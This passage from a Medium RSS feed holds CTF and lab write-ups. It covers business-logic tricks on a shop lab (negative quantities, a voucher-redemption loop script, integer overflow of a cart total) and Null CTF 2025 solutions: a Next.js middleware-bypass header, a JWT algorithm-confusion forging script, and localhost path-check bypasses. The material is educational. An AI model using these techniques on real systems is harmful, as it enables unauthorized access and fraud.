session=28T9nxeQBKeW51v9MIY9mAz9NKjI2DJ2Yyt-dXOral4.kUa_1Urzo95LK7-1PuXLtJTanGQ<br>Connection: keep-alive<br>------WebKitFormBoundary3AcCMwwB9uioVyh1<br>Content-Disposition: form-data; name=&quot;csrf_token&quot;<br>IjJmZjdkZGU3NWFiMjU2ZDg3MjQ1ZDI0MmJhYjE1NTc5Mjg4MDIxNWUi.aaF6ZQ._WzOVF1czFZwyO9ic6DkSHWz-14<br>------WebKitFormBoundary3AcCMwwB9uioVyh1<br>Content-Disposition: form-data; name=&quot;productId&quot;<br>2<br>------WebKitFormBoundary3AcCMwwB9uioVyh1<br>Content-Disposition: form-data; name=&quot;quantity&quot;<br>-1<br>------WebKitFormBoundary3AcCMwwB9uioVyh1--</pre><p>It actually worked, and my cart total became <strong>-500</strong>! I was so happy until I clicked checkout and it said the total must be more than zero</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FfhLgA6nJec3Cw%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExdXRsbWIxZ3hrcHdueHN0a285bjk0dmNmc295cmhzZTlvNjB3NDk3cCZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FfhLgA6nJec3Cw%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNHI1Zm5nbTkwMmNjNTRjZzVvNmY3bW52azIzdjBhMXB5MWh5d3M2ayZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FfhLgA6nJec3Cw%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="309" frameborder="0" scrolling="no"><a href="https://medium.com/media/53bc6c9dd7410a119d7bda3225f0d224/href">https://medium.com/media/53bc6c9dd7410a119d7bda3225f0d224/href</a></iframe><p>But then I had a &quot;big brain&quot; moment: I added three of the old <strong>300-pound</strong> items (negative) and two of the <strong>500-pound</strong> items (positive). The total came to exactly <strong>100 pounds</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4UNv8WsIrR8CJqFkAxtjGw.png" /></figure><p><strong>Result:</strong> It got accepted! I bought it, got another 100-pound bonus, and became a <strong>Gold</strong> customer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F8-lrbYota78ExIgDCohjg.png" /></figure><p>Now item 3: The “Voucher Card” Money Printer</p><p>This time I had two unlocked items, “ an expensive item that costs 90000 pounds or 9000VC(like voucher points)”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qhrYIoJ4DgZLHxzpKstIVA.png" /></figure><p>and “Voucher Cards” (VC) to play with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-s7fJGI2RKENNolS3CI4hQ.png" /></figure><p>I found a voucher card that gives you <strong>25 VC</strong> but only costs <strong>10 VC</strong> (or 10 pounds) to buy. as far as i know you can’t sell something for 10 that gives back 25?</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FlHfxDepSGlzom6f65K%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZTIzdmduNGticDF1cW9oNm8yeXFvcm1pNHJrdDQ0Y2lrOG5mYXZ3MCZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FlHfxDepSGlzom6f65K%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia4.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExNjY3aGo1dHkzZ24wYzc0enpiZDVxdHhod2p2ZXM0bTAxc3pvNWNuaSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FlHfxDepSGlzom6f65K%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="272" frameborder="0" scrolling="no"><a href="https://medium.com/media/1f87896ef8a31505a86326cb45d01fb8/href">https://medium.com/media/1f87896ef8a31505a86326cb45d01fb8/href</a></iframe><p>I spent all my money on those cards and wrote a script to automatically redeems them in a loop, so that i buy the voucher the script redeems them and give me even more VC points to buy Vouchers with</p><p>the script i used:</p><pre>import requests<br>from bs4 import BeautifulSoup<br>import re<br>import time<br><br>BASE_URL = &quot;https://instant-link&quot;<br>SESSION_COOKIE = &quot;My-session-cookie&quot;<br><br>session = requests.Session()<br>session.cookies.set(&quot;session&quot;, SESSION_COOKIE)<br>session.headers.update({<br>    &quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36&quot;<br>})<br><br><br>def get_pending_vouchers_and_csrf():<br>    r = session.get(f&quot;{BASE_URL}/account&quot;)<br>    soup = BeautifulSoup(r.text, &quot;html.parser&quot;)<br><br>    # Get CSRF from the hidden input inside the redeem form<br>    csrf = soup.find(&quot;input&quot;, {&quot;name&quot;: &quot;csrf_token&quot;})[&quot;value&quot;]<br><br>    # Find all voucher blocks that contain PENDING<br>    pending = []<br>    voucher_divs = soup.find_all(&quot;code&quot;, style=lambda s: s and &quot;00d9ff&quot; in s)<br>    for code_tag in voucher_divs:<br>        code = code_tag.text.strip()<br>        # Check if the sibling div contains PENDING<br>        parent = code_tag.find_parent(&quot;div&quot;)<br>        block = parent.find_parent(&quot;div&quot;) if parent else None<br>        if block and &quot;PENDING&quot; in block.text:<br>            pending.append(code)<br><br>    return csrf, pending<br><br><br>def redeem_voucher(csrf_token, voucher_code):<br>    boundary = &quot;----BoundaryRedeem&quot;<br>    body = (<br>        f&quot;--{boundary}\r\n&quot;<br>        f&#39;Content-Disposition: form-data; name=&quot;csrf_token&quot;\r\n\r\n{csrf_token}\r\n&#39;<br>        f&quot;--{boundary}\r\n&quot;<br>        f&#39;Content-Disposition: form-data; name=&quot;voucher_code&quot;\r\n\r\n{voucher_code}\r\n&#39;<br>        f&quot;--{boundary}--\r\n&quot;<br>    )<br>    r = session.post(<br>        f&quot;{BASE_URL}/redeem-voucher&quot;,<br>        data=body.encode(),<br>        headers={&quot;Content-Type&quot;: f&quot;multipart/form-data; boundary={boundary}&quot;},<br>    )<br>    return r<br><br><br>def get_vc_balance():<br>    r = session.get(f&quot;{BASE_URL}/account&quot;)<br>    match = re.search(r&#39;VC.*?(\d+)&#39;, r.text)<br>    return match.group(1) if match else &quot;?&quot;<br><br><br>print(&quot;[*] Scanning account page for PENDING vouchers...\n&quot;)<br><br>while True:<br>    try:<br>        csrf, pending = get_pending_vouchers_and_csrf()<br><br>        if not pending:<br>            print(&quot;[*] No PENDING vouchers found. Waiting 3s...&quot;)<br>            time.sleep(3)<br>            continue<br><br>        print(f&quot;[+] Found {len(pending)} PENDING voucher(s): {pending}&quot;)<br><br>        for voucher in pending:<br>            print(f&quot;  [&gt;] Redeeming {voucher}...&quot;)<br>            r = redeem_voucher(csrf, voucher)<br>            print(f&quot;  [+] Status: {r.status_code} | Response: {r.text[:200]}&quot;)<br>            time.sleep(0.5)<br><br>        print(f&quot;  [*] VC Balance: {get_vc_balance()}\n&quot;)<br>        time.sleep(1)<br><br>    except KeyboardInterrupt:<br>        print(&quot;\n[!] Stopped.&quot;)<br>        break<br>    except Exception as e:<br>        print(f&quot;[!] Error: {e}&quot;)<br>        time.sleep(2)</pre><p>ended up having more than 10k VC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PArCnA-cdEN54CNborOmCA.png" /></figure><p><strong>Result:</strong> Printed my way to <strong>9000+ VC</strong>, bought the expensive item, and moved to <strong>Platinum</strong>.</p><p><strong>additional finding</strong>: this voucher code redeeming function had a race condition vulnerability where you can use the same code multiple times in one group and send them in parallel but i played it politely and went with the intended solution.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FqYq6ztrEjShRC%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExMmZxdHdoaTZkbGtyZGM1d2x4NzF6ZzduaXZ3cTNtM3JwNGk0MnJ2bSZlcD12MV9naWZzX3NlYXJjaCZjdD1n%2FqYq6ztrEjShRC%2Fgiphy.gif&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExeGVrMG8yYXBsbDBuZDZlcTdmNGtsNWQxbGhsM2YzOHRkNGgwM2lkMSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FqYq6ztrEjShRC%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="246" frameborder="0" scrolling="no"><a href="https://medium.com/media/9ec2343ae1d63a383926a4426e4af690/href">https://medium.com/media/9ec2343ae1d63a383926a4426e4af690/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZNNHT21a8kMMrBnybUvpGw.png" /></figure><p><strong>The Final Boss</strong>: Breaking the Integer Limit</p><p>For the last item, the description was a huge hint.</p><blockquote><em>Dark Matter PSU — Powers the universe! Caution: Ordering in bulk may cause gravitational anomalies and reality distortions. Can be bundled with select items for calibration purposes.</em></blockquote><p>I decided to try and break the integer limit of the cart total. I made a script to add the item to my cart in a crazy high amount (220 request of adding 99 quantity) until the number “broke” and flipped into the negatives.</p><p>Once the negative number got close to zero, I added some “normal” items to push the total back just above zero. Since it was a positive number (but a tiny one), the server let me pay for it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SbjKKTg0sdRoumFzz7Xghg.png" /></figure><p><strong>Result:</strong> now I&#39;m an elite customer, and finally unlocked the <strong>Elite Forum</strong> for the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ai4t7r8olevB1g-IK6LvKQ.png" /></figure><p>And guess what? All of this and more mind-bending challenges are in my <strong>Business Logic Vulnerabilities playbook</strong>. I go through the PortSwigger labs one by one, solving and documenting the process, while discussing how to translate these lab techniques to <strong>“in the wild” testing</strong> — showing you how to find and exploit these same flaws in the real-world bug bounty scene. Check it out here:</p><p><a href="https://github.com/maro826g/web-security-playbook/blob/main/vulnerabilities%20/Business%20logic%20vulnerabilities.md">web-security-playbook/vulnerabilities /Business logic vulnerabilities.md at main · maro826g/web-security-playbook</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5446cf1859f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Null CTF writeups]]></title>
            <link>https://medium.com/@amro.khaledo826/null-ctf-writeups-f0d86fffb13e?source=rss-6f7730ee94fd------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0d86fffb13e</guid>
            <category><![CDATA[web-vulnerabilities]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[jwt-algorithm-confusion]]></category>
            <dc:creator><![CDATA[Amr Khaled]]></dc:creator>
            <pubDate>Sun, 07 Dec 2025 22:29:23 GMT</pubDate>
            <atom:updated>2026-02-04T17:05:52.075Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5TMJmkVcb3av8KjrEITbnA.png" /></figure><p>Here is a walkthrough of the 4 challenges I solved during <strong>NULL CTF 2025</strong>. These were really fun and involved everything from Next.js CVEs to Windows environment logic.</p><p>Challenges Solved:</p><blockquote>Next Jason<em>→ web</em></blockquote><blockquote>Codename Neigh<em> →web</em></blockquote><blockquote>Codename Neigh2<em>→ web</em></blockquote><blockquote>Reservation <em>→ MISC</em></blockquote><h3>Next Jason:</h3><p><strong>Phase 1: Recon &amp; Source Code Review</strong></p><p>1)Opened the instance to have a look and it’s a simple login page with username and invite code and a login btn <br>2)So i downloaded the files of the challenge opened the project using vscode<br>3)I went through package.json and found out it’s using<strong> “next”: “14.2.24”</strong></p><p><em>hmm Interesting finding:</em> There was a known CVE in this version where you can totally ignore middleware using a specific header in the request: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware.</p><p><strong>Phase 2: Analyzing the API &amp; Middleware Logic</strong></p><p>4)I went to the login API code and found how the page works:</p><ul><li>First, it takes your request.</li><li>If your username is <strong>“admin”</strong>, it returns &quot;Try harder&quot;.</li><li>If it’s not admin, it goes to the /token/sign route, makes you a new token, and returns it.</li></ul><pre>if (!username) {<br>   return NextResponse.json({ error: &#39;Username is required&#39; }, { status: 400 });<br>  } else if (username === &#39;admin&#39;) {<br>   return NextResponse.json({ error: &#39;Try harder&#39; }, { status: 403 });<br>  }<br>const signResponse = await fetch(new URL(&#39;/token/sign&#39;, request.url), {<br>   method: &#39;POST&#39;,<br>   headers: {<br>    &#39;Content-Type&#39;: &#39;application/json&#39;,<br>   },<br>   body: JSON.stringify({ username }),<br>  });</pre><p><em>The Catch:</em> I tried to login using the username “test” but got “Invalid invite code.” It didn’t mention any invite code inside api/login, which was sus.</p><p>5)I went back to the middleware.js file and found the issue: it checks for a secret invite code that I don&#39;t have access to. If this invite code matches, it verifies my token.</p><p><strong>The Bypass:</strong> This is where the CVE comes in. I put the x-middleware-subrequest header in the request, and successfully got a token!</p><p><strong>Phase 3: The JWT Vulnerability (Algorithm Confusion)</strong></p><p>7)I tried to go to the api/getflag page with my new token, but it said I needed to be admin. I looked at the getflag code, and it checks for two things:</p><ul><li>If the token is valid (if not, it says “Invalid token” or “Token missing”).</li><li>If the payload username is <strong>not</strong> admin, it says “You need to be admin!”.</li></ul><pre>if (!payload.valid) return NextResponse.json({ error: &#39;Invalid token or token missing&#39; }, { status: 403 });<br>  if (payload.payload.username !== &#39;admin&#39;) return NextResponse.json({ error: &#39;You need to be admin!&#39; }, { status: 403 });<br><br>  const flag = process.env.FLAG;</pre><p>I went to the verifyToken code and found this:</p><pre>function verifyToken(token) {<br>    return jwt.verify(token, PUBKEY, { algorithms: [&#39;RS256&#39;, &#39;HS256&#39;] });<br>}</pre><p><em>The Exploit:</em> This means it’s able to use two encryption algorithms: one is asymmetric (RS256) and one is symmetric (HS256). This is a classic <strong>Algorithm Confusion</strong> vulnerability.</p><p>I also found an API called api/getpublickey,that follows the middleware restriction but i dont have to worry about it since i have the cve in my pocket</p><p><strong>The Plan:</strong> I’m going to grab the server’s public key and use it as the secret “password” to sign a forged token. By switching the algorithm to <strong>HS256</strong> and setting my payload to <strong>admin</strong>, I trick the server into using that public key to verify my forged signature.</p><p><strong>Phase 4: Forging the Token<br></strong>I hit /api/getPublicKey (adding the x-middleware-subrequest header to bypass the check) and got the public key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8X3TYIcVyo34gqsozjWmog.png" /></figure><p>Now I need to forge this using the HS256 algorithm. I did this using a simple script, you might use jwt editor from burp:</p><pre>import jwt<br><br># The Public Key acting as the secret password.<br>public_key = &quot;&quot;&quot;-----BEGIN PUBLIC KEY-----<br>MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4QMizb2gq5HcyqmAyf0i<br>ihNDINXX7SG3y5VbzPzj5FEPT3PPwUgXkZESW3e2SxRMlvxW44JZqTwwOPbfGbr7<br>f+TolBQaIaMCsl/M/eX8dZAkS9Goui0EYZUQdtTjhLAaXFDp3zvNRlJrpvzGus8C<br>DvRbll6JudfdPrB2HhSUOWT5PIGPqbsW8RuWWIj8uxkLZr1zhVy+mr86mP0YisA2<br>h134+kIweN4CUYydrvch6mlSgRp+bnJI116egFCNX0JL1ee4oeKsWhlQNapx8FIc<br>Bpb8KQ4xfaJudjef0NmSEfo1w5UrhquPN+CoCDUQ1nNKAnRKrFqvZFTND/lR71s8<br>QQIDAQAB<br>-----END PUBLIC KEY-----<br>&quot;&quot;&quot;<br><br># The payload: We want to be &#39;admin&#39;<br>payload = {<br>    &quot;username&quot;: &quot;admin&quot;<br>}<br><br># Sign it using HS256 (Algorithm Confusion)<br># This tricks the server into using the Public Key string as the secret password<br>encoded_token = jwt.encode(payload, public_key, algorithm=&quot;HS256&quot;)<br><br>print(&quot;--- FORGED ADMIN TOKEN ---&quot;)<br>print(encoded_token)<br>print(&quot;--------------------------&quot;)</pre><p>I ran the code and got my forged token:</p><pre>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzY1MTM3ODk2fQ.BCef8BBpvqULSzpe_StEHcWshqtOirJ3nzVNdNp5ZQA</pre><p><strong>Phase 5: Execution</strong></p><p>Finally, I used this admin token as a cookie to access the api/getflag page. My request looked like this:</p><pre>GET /api/getFlag HTTP/1.1<br>Host: d36cad380b06.challs.ctf.r0devnull.team:8001<br>Accept-Language: en-US,en;q=0.9<br>Upgrade-Insecure-Requests: 1<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36<br>cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzY1MTM3ODk2fQ.BCef8BBpvqULSzpe_StEHcWshqtOirJ3nzVNdNp5ZQA<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7<br>Accept-Encoding: gzip, deflate, br<br>Connection: keep-alive</pre><p>And I got the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xifkTROyJr_4yQnv8yodHQ.png" /></figure><h3><strong>Codename Neigh:</strong></h3><ol><li>Went to main.pony code and found this function called class F is RequestHandler with this small condition:</li></ol><pre>if (conn == &quot;127.0.0.1&quot;) and (path != &quot;/flag&quot;) and (path != &quot;flag&quot;) then<br>      let fpath = FilePath(_fileauth, &quot;public/flag.html&quot;)<br>      with file = File(fpath) do<br>        body = file.read_string(file.size()).string().array()<br>      end</pre><p>2.So now I need to have my host as local host, and it’s easy to be done using Burp.</p><p>To bypass that other 2 condition that path isn’t /flag or flag, I added a parameter variable so it now looks like /flag?x=.</p><p>So my request looked like:</p><pre>GET /flag?x= HTTP/1.1<br>Host: 127.0.0.1<br>...</pre><h3>Codename Neigh2:</h3><p>kinda like the other one went straight to the code and found this function : class F is RequestHandler</p><p>with this condition</p><pre> if (conn == &quot;127.0.0.1&quot;) and not_starts_with(path, &quot;flag&quot;) and not_starts_with(path, &quot;/flag&quot;) <br> then let fpath = FilePath(_fileauth, &quot;private/flag.html&quot;)</pre><p>so this condition is a little bit different cuz it says that the path should not start with /flag or flag and still have the local host ip</p><p>so in order the bypass this</p><p><strong>The Bypass:</strong> To bypass the “starts with” check, I needed to change the beginning of the path string while still pointing to the same file.</p><p><strong>Solution 1: Absolute URI</strong> I used the full URL in the request line. This tricks the check because the path string now starts with http, not /flag.</p><pre>GET http://localhost/flag HTTP/1.1<br>Host: 127.0.0.1</pre><p>you could also use</p><p>GET &lt;http://127.0.0.1/flag&gt; HTTP/1.1</p><p>GET [&lt;http://127.1/flag&gt;](&lt;http://127.0.0.1/flag&gt;) HTTP/1.1</p><p>since they all refer to local host</p><p><strong>another solution</strong></p><p>you could also use</p><p><strong>path traversal</strong> solution using Path Normalization</p><pre>GET //../flag HTTP/1.1<br>Host: 127.0.0.1</pre><p>so the the /.. simply tries to go back a directory, but since we are already at the root, it stays at the root. then the /flag takes you to the flag page</p><h3><strong>Reservation:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*O9bdgVcY7sDykeOpmDR1rw.png" /></figure><ol><li><strong>Downloaded the code</strong> I found it a simple socket server code. It has a key variable called PROMPT and it asks about that key. If I gave it right, it gives me the flag. If not, it ends the socket connection.</li></ol><pre>if response == PROMPT:<br>    client_socket.sendall(b&quot;Thank you for your patience. Here is your flag: &quot; + FLAG.encode())<br>else:<br>    client_socket.sendall(b&quot;...I am afraid that is not correct. Please leave our establishment.&quot;)<br><br>client_socket.close()</pre><p><strong>2) Finding the Key</strong> So I simply searched the prompt default variable in Windows (since it said it’s a Windows server) and figured it was $P$G.</p><p><strong>3) Execution</strong></p><ol><li>I opened my VM terminal.</li><li>Netcat the IP it gave me: nc 34.118.61.99 10044</li><li>It asked about the secret and I put $P$G.</li><li>It gave me the flag.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8bDhI2oAOXNKuuy2jUzEw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0d86fffb13e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>